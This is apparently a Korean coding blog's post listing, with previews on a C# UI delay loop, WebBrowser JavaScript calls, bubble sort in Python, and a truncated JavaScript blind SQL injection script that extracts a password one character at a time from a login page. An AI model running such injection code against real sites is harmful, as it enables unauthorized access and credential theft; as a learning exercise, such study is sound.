본문 바로가기

Coding345

Thread.Sleep 시 UI 멈추는 현상 해결 private static DateTime Delay(int MS){DateTime ThisMoment = DateTime.Now;TimeSpan duration = new TimeSpan(0, 0, 0, 0, MS);DateTime AfterWards = ThisMoment.Add(duration);while (AfterWards >= ThisMoment){System.Windows.Forms.Application.DoEvents();ThisMoment = DateTime.Now;}return DateTime.Now;} 위 함수로 대신사용 출처 : http://bananamandoo.tistory.com/27 2015. 11. 8.
글 파싱 보호되어 있는 글 입니다. 2015. 11. 8.
디시인사이드 댓글 보호되어 있는 글 입니다. 2015. 11. 8.
C# Webbrowser.navigate 다중행 간단하게 프로그램하나 만들게 생겨서 C#으로 처음 코딩을 해봤다.Webbrowser.navigate 로 자바스크립트를 이용할 일이 생겼는데 webbrowser.navigate("javascript:btn1.click()");webbrowser.navigate("javascript:btn2.click()");webbrowser.navigate("javascript:btn3.click()"); 버튼하나에 이런식으로 값을 주게되면 맨 마지막 btn3_click() 부분만 실행이 된다.버튼을 나눠서 첫번째 버튼에 webbrowser.navigate("javascript:btn1.click()");button2_click(null, null); 이런식으로 호출을 해봐도, 중간에 sleep을 넣어도 제대로 돌아가지.. 2015. 11. 6.
XMLHttpRequest 를 이용한 Blind SQL Injection 소스 [GET]flag = ""function run(i,j){var req = new XMLHttpRequest();req.open('GET', '/pytest/get_ok.php?id=admin\' and ascii(substr(pw,'+i+',1))='+j+'%23&pw=1');req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');req.send();req.onreadystatechange = function() {if(req.readyState == 4 && req.status == 200){if(req.responseText.indexOf("Login failed") == -1){ // 해당문자열이 없을 시flag += S.. 2015. 3. 27.
정렬 알고리즘 #버블정렬list = []temp = ""input = ""count = 1for i in range(5): a = int(raw_input("Input Number : ")) print "a["+str(i)+"] = "+str(a) list.append(a)print "Before sort -> "+str(list) for i in range(len(list)-1): for j in range(0, len(list)-1-i): if(list[j]>list[j+1]): temp = list[j] list[j] = list[j+1] list[j+1] = temp print "i = "+str(i)+", j = "+str(j)+str(list) print "After sort -> "+str(list)---.. 2015. 3. 9.